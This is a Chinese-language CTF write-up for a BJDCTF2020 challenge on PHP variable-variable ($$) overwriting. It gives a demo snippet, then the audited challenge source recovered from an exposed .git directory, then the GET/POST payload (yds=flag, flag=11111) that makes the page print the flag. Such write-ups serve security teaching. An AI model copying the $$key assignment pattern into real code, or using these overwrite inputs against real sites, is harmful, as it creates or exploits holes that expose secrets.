xhds

 简介

 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January

 考察知识点:$$导致的变量覆盖问题

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

 $$导致的变量覆盖问题

$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。

因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。

<?php
$name=\'thinking\';
foreach ($_GET as $key => $value)

  $$key = $value;   //这里进行了覆盖 $$key传入的值是name 传入进入成为$name 所以造成了name外部的变量被覆盖

  var_dump($key);
  var_dump($value);
  var_dump($$key);

echo $name;

//?name=test
//output:string(4) “name”
//string(4) “test”
//string(4) “test”
//test

引用:https://www.freebuf.com/column/150731.html

 过程

扫描发现git

获取git源码 

代码审计!

<?php
include\'flag.php\';
$yds = "dog";
$is = "cat";
$handsome = \'yds\';

foreach($_GET as $x => $y){ //get传值
    $$x = $$y;  //漏洞在这里  比如输入 yds=flag 相当于 $yds=$flag
}

foreach($_GET as $x => $y){ 
    if($_GET[\'flag\'] === $x && $x !== \'flag\'){ //判断get传进来的值等不等于flag 如果等于flag则跳过
        exit($handsome);
    }
}

//检测get是否为flag 或者post是否为flag  必须两方都为假  否则输出$yds
//通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds  
//构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag  
//所以这个条件为真就可以输出flag了。
if(!isset($_GET[\'flag\']) && !isset($_POST[\'flag\'])){
    exit($yds);
    
}
//

//检测POST flag是否为flag  或者get 是否为flag   //至少有一个为真则为真
if($_POST[\'flag\'] === \'flag\'  || $_GET[\'flag\'] === \'flag\'){
    exit($is);
}

echo "the flag is: ".$flag;

?>

最终构造pyload:

GET:yds=flag
POST:flag=11111

得到flag.....

 

分类:

技术点:

相关文章:

  • 2021-12-24
  • 2021-12-24
  • 2021-12-24
  • 2021-12-24
  • 2021-10-19
  • 2021-06-09
  • 2022-12-23
  • 2021-10-31
猜你喜欢
  • 2021-05-19
  • 2022-12-23
  • 2022-02-09
  • 2022-01-26
相关资源
相似解决方案